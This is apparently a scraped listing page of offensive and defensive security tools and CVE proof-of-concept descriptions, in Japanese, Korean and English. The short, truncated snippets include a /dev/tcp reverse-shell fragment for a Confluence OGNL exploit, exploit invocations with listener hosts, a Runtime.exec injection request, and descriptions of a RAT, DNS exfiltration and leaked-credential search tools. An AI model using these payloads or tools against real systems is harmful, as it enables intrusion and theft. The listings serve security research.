CVE-2022-26134

CVE-2022-26134 リモート攻撃者は認証なしでOGNL式を注入し、Confluence ServerまたはData Center上で任意のコードを実行できます。POCを修正し、getshellを容易にします。一般的なポート:8090 影響を受けるバージョン Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps port 0&1...

Scout2

AWS Scout2 .. image:: https://travis-ci.org/nccgroup/Scout2.svg?branch=master :target: https://travis-ci.org/nccgroup/Scout2 .. image:: https://coveralls.io/repos/github/nccgroup/Scout2/badge.svg?branch=master :target: https://coveralls.io/github/nccgroup/Scout2 .. image::...

CVE-2023-22527

CVE-2023-22527 - Confluence Data Center および Confluence Server における RCE リモートコード実行 の脆弱性 PoC 検出 nuclei -v -t /path/to/template.yam; -u http://ip:port/ エクスプロイト python3 CVE-2023-22527.py -u ip:port -lh listen-host -lp listen-port...

gps-sdr-sim

GPS-SDR-SIM GPS-SDR-SIM은 GPS 기저대역 신호 데이터 스트림을 생성하며, 이는 ADALM-Pluto, bladeRF, HackRF, USRP 같은 소프트웨어 정의 라디오SDR 플랫폼을 사용하여 RF로 변환할 수 있습니다. Windows 빌드 방법 1. Visual Studio를 시작합니다. 2. 콘솔 애플리케이션용 빈 프로젝트를 생성합니다. 3. 오른쪽의 Solution Explorer에서 "gpssim.c"와 "getopt.c"를 Source Files 폴더에 추가합니다. 4. Solution...

volatility

This project is archived. See Volatility 3 for modern investigations: https://github.com/volatilityfoundation/volatility3 ============================================================================ Volatility Framework - Volatile memory extraction utility framework The Volatility Framework is a...

SharpDNSExfil

SharpDNSExfil SharpDNSExfil 은 C으로 작성된 유출 도구입니다. 주요 목표는 제한된 아웃바운드 연결에 대한 걱정 없이 디스크에 있는 파일을 유출하는 것입니다. 전제 조건 원격 머신이 DNS를 해석할 수 있어야 합니다. 왜 만들었나? 작업 중 블라인드 RCE를 얻었는데, 원격 머신에 방화벽 보호가 적용되어 아웃바운드 연결을 허용하지 않아 역방향 연결을 얻는 데 어려움을 겪었습니다. 좋은 점은 DNS 서버가 공개 도메인을 해석할 수 있고 DNS를 통해 저에게 도달할 수 있다는 점이었습니다. 하지만 여전히 역방...

urh

The Universal Radio Hacker URH is a complete suite for wireless protocol investigation with native support for many common Software Defined Radios. URH allows easy demodulation of signals combined with an automatic detection of modulation parameters making it a breeze to identify the bits and byt...

blind-sql-bitshifting

비트 시프트를 통한 블라인드 SQL 인젝션 이 모듈은 비트 시프트 방법을 사용하여 문자를 추측하는 대신 계산 하여 블라인드 SQL 인젝션을 수행합니다. 구성에 따라 문자당 7/8개의 요청이 필요합니다. 사용법 root@kitploit: import blind-sql-bitshifting as x Edit this dictionary to configure attack vectors x.options 예제 구성: root@kitploit: Vulnerable link x.options"target" =...

bleah

This repository is DEPRECATED, please usebettercap as this tool has been ported to its BLE modules...

pupy

Pupy Simple Installation root@kitploit: pip3 install pipx pipx ensurepath pipx install git+https://github.com/n1nj4sec/pupy@nextgen pupysh If you want more detailed informationRefer to the wiki Development Install root@kitploit: git clone https://github.com/n1nj4sec/pupy cd pupy git checkout...

pwndb

pwndb.py pwndb.py is a python command-line tool for searching leaked credentials using the Onion service with the same name. Usage root@kitploit: usage: pwndb.py -h --target TARGET --list LIST --output OUTPUT --proxy PROXY optional arguments: -h, --help show this help message and exit --target...

CVE-2021-27905

CVE-2021-27905 Apache Solr ReplicationHandler サーバーサイドリクエストフォージェリ SSRF Hit Counter Apache Solr（Searching On Lucene with Replicationの略）は、Apache Luceneライブラリをベースにしたフリーのオープンソース検索エンジンです。Javaで記述されています。Apache Solrは、RESTful XML/HTTPおよびJSON...

opencspm

OpenCSPM Open Cloud Security Posture Management, OpenCSPM은 클라우드 구성 및 메타데이터에 대한 심층적인 통찰력을 제공하여 시간이 지남에 따라 위험을 이해하고 줄이는 데 도움을 주는 오픈소스 플랫폼입니다. OpenCSPM은 누구를 위한 것인가요? 클라우드 환경에서 인프라를 운영하며 전체 계정에 걸친 보안 위험을 파악하고 이러한 문제의 해결을 추적하려는 보안 팀. 새로운 시스템을 개발하고 초기부터 자주 보안을 내재화하기 위해 따라야 할 보안 모범 사례 세트를 찾는 개발 및 인프라 팀...

Maryam

OWASP Maryam OWASP Maryam is a modular open-source framework based on OSINT and data gathering. It is designed to provide a robust environment to harvest data from open sources and search engines quickly and thoroughly. Installation Supported OS Linux FreeBSD Darwin OSX root@kitploit: $ pip insta...

Maryam

OWASP Maryam OWASP Maryam은 OSINT와 데이터 수집을 기반으로 한 모듈형 오픈소스 프레임워크입니다. 오픈 소스 및 검색 엔진에서 신속하고 철저하게 데이터를 수집할 수 있는 강력한 환경을 제공하도록 설계되었습니다. 설치 지원 OS Linux FreeBSD Darwin OSX root@kitploit: $ pip install maryam 또는 다음 명령어로 최신 버전을 설치할 수 있습니다 권장: root@kitploit: pip install...

Oblivion

Oblivion 은 새로운 데이터 유출을 실시간으로 모니터링하고 사용자의 자격 증명이 유출된 경우 알림을 제공하는 도구입니다. 또한 사용자의 자격 증명이 이전에 유출되었는지 확인할 수도 있습니다. Oblivion은 두 가지 모드를 제공합니다: Oblivion 클라이언트: 그래픽 모드 Oblivion 서버: API 기능을 갖춘 모드 참고 : Oblivion 클라이언트와 Oblivion 서버는 독립적으로 작동합니다. Oblivion 클라이언트 Oblivion 서버 🌀 Oblivion 기능 💪 CVEs 스캔 ☑️ 강력한 API와 함께...

Intel-CVE-2015-2291

Intel-CVE-2015-2291 CVE-2015-2291 用の PoC エクスプロイト 脆弱なintelドライバを使用して、データのみの攻撃でシステムシェルを取得します。 コード自体は、ドライバから提供されるより多くの「機能」を実装しています。例えば、物理アドレスから仮想アドレスへの変換、物理メモリのマッピング（この2つを組み合わせると = 任意のカーネルメモリの上書き）などがあり、カーネル内で任意のコードを実行するために使用できます。...

GEVAUDAN

GEVAUDAN Gluster環境の脆弱な認証データアクセス＆ヌーク。 はじめに Gevaudanは、Red Hat GlusterFSのエクスプロイトで、CVEs 2018-1088 & 2018-1112を対象としています。 スタンドアロン形式とMetasploitモジュール形式の両方で利用できます。 プレゼンテーション | 日付| カンファレンス| ビデオへのリンク| スライドへのリンク ---|---|---|---|--- 1| 11-AGO-2018| DEFCON 26 Data Duplication Village|...

cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp 鶏肋（取るに足らない）脆弱性。単なる記録。 1. Redisを起動し、27017ポートを使う 2. プロジェクトを起動し、Spring Bootを6666ポートで起動する 3. root@kitploit: GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host: localhost:6666 Accept-Encoding: gzip, deflate Accept: ...

ExtendedMacro

ExtendedMacro ExtendedMacro는 BurpSuite 프록시를 위한 플러그인입니다. BurpSuite 매크로 기능과 유사하지만 확장된 기능을 제공합니다. 주요 기능은 Intruder, Repeater, Scanner, Sequencer 또는 SpiderProxy 및 Extender 도구 제외에서 트리거되는 모든 요청 전에 하나 이상의 요청을 트리거할 수 있다는 것입니다. 임의의 응답에서 데이터를 추출하고 이후 요청에 데이터를 대체하거나 추가할 수 있습니다CSRF 토큰, 세션 대체, 새 헤더 추가 등. 아직 개발...